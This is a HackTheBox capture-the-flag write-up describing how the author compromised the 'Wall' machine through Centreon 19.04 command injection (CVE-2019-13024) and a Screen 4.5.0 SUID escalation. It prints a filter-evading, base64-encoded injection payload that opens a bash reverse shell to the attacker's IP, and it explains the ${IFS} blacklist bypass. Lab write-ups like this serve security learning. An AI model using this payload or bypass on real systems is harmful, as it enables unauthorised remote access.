HackTheBox Writeup — Wall
In this article, we will discuss a proposed solution to pwn the Wall machine from HackTheBox.
Information Gathering
I have started by doing a full port scan and the results were pretty straightforward: SSH and HTTP.
This can be concluded in the fact that we have to deal with a website.
If we access the IP on port 80 it will return the default Apache2 index.
So, the first thing that came into my mind was to enumerate the folders and the files located on this webserver.
For this job, I’ve used a common tool: dirbuster.
The only folder that we are interested in was /monitoring/ because it needed some authentication credentials in order to view it.
I assume that the folder represents the name origin of the machine (“Wall”), so we have to climb or to break the wall and see what’s behind it.
Breaking the Wall
Firstly I took a look at the other files and folders with the hope of finding a valid set of credentials to log in, but unfortunately, I found nothing.
I tried some common guessing against the admin username and it returned the following error page.
When I’ve read the error saying that “your browser doesn’t understand how to supply the credentials required” I’ve tried to make a POST request against it and IT WORKED!!
It gave us the “secret entry” through the wall, the /centreon file.
But we got hit by another wall… a login form.
Tried some common and default passwords using the username “admin”.
It took me two minutes to guess the password which was “password1” (I don’t think this was the right method but it was my luck that it really worked).
The walls were trying to hide a nice supervising platform, let’s see if it is so secure as it seems.
Going back to the machine’s statistics we can see that it is based very much on a CVE.
Our Centreon version is 19.04.0 so I searched for a good CVE on the Internet and I got a really nice result.
The vulnerability was found by the author that created the box and he wrote a very cool article explaining it here:
https://shells.systems/centreon-v19-04-remote-code-execution-cve-2019-13024/
It was late that night and I was so tired that I didn’t even mind to try understanding the vulnerability and just used his exploit but unfortunately… it didn’t work so I left it for the next day.
Based on his explanations I’ve figured out how to do it manually.
Firstly we have to create a poller (Configuration > Pollers) inserting our payload in the Monitoring Engine Binary field and the Localhost option must be enabled.
After that we save it and go the Export Configuration section from the Pollers list (Configuration > Pollers > Export configuration) and we have to run our Poller with two options enabled: Generate Configuration Files and Run monitoring engine debug (-v).
Our script got executed using the argument -v but that’s not a problem since we can comment it using # and our payload will become whoami #
I tried to save the Poller but it seems that the application disallows us to use some characters.
I’ve also tried a reverse shell using netcat but unsuccessfully we get the same Forbidden error.
The next step was to build an effective payload in order to bypass the blacklisting mechanism so I’ve replaced the spaces between my characters with ${IFS} which is a field separator in bash and is the same as Space key.
My payload didn’t work so I’ve made a command substitution with it using $() but I got nothing.
After playing with my payload for a while, I tried injecting it in Base64 format.
Keeping my fingers crossed, it worked but not as I wanted because it output me that the netcat installed version doesn’t have an -e option.
It wasn’t a big issue because I’ve modified it to be a bash reverse shell and here it is my final payload that worked and got me a www-data shell.
$(echo${IFS}-n${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4 xOS80NDU1IDA+JjE=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash${IFS})
Privilege Escalation
The first thing in order to find a way to escalate my access level was to obtain as much as possible information about the machine using enumeration tools like LinEnum and linuxprivchecker.
I was able to get an interesting result, that my machine could be vulnerable to a MySQL privilege escalation issue.
I’ve struggled for some good time to get this working but I’ve encountered a permission error for /usr/lib that I wasn’t able to escalate or bypass and decided to move on and enumerate more.
Something caught my attention while searching for SUID binaries.
And I’ve searched on Google for potential attack vectors against Screen-4.5.0 and found a pretty cool exploit for local privilege escalation.
Doing the exploit manually we finally get a root shell with the possibility of displaying the user.txt (located at /home/shelby/) and root.txt (located at /root/).
In conclusion, I’ve wasted some time on that MySQL CVE rabbit-hole but it was an interesting and fun box.
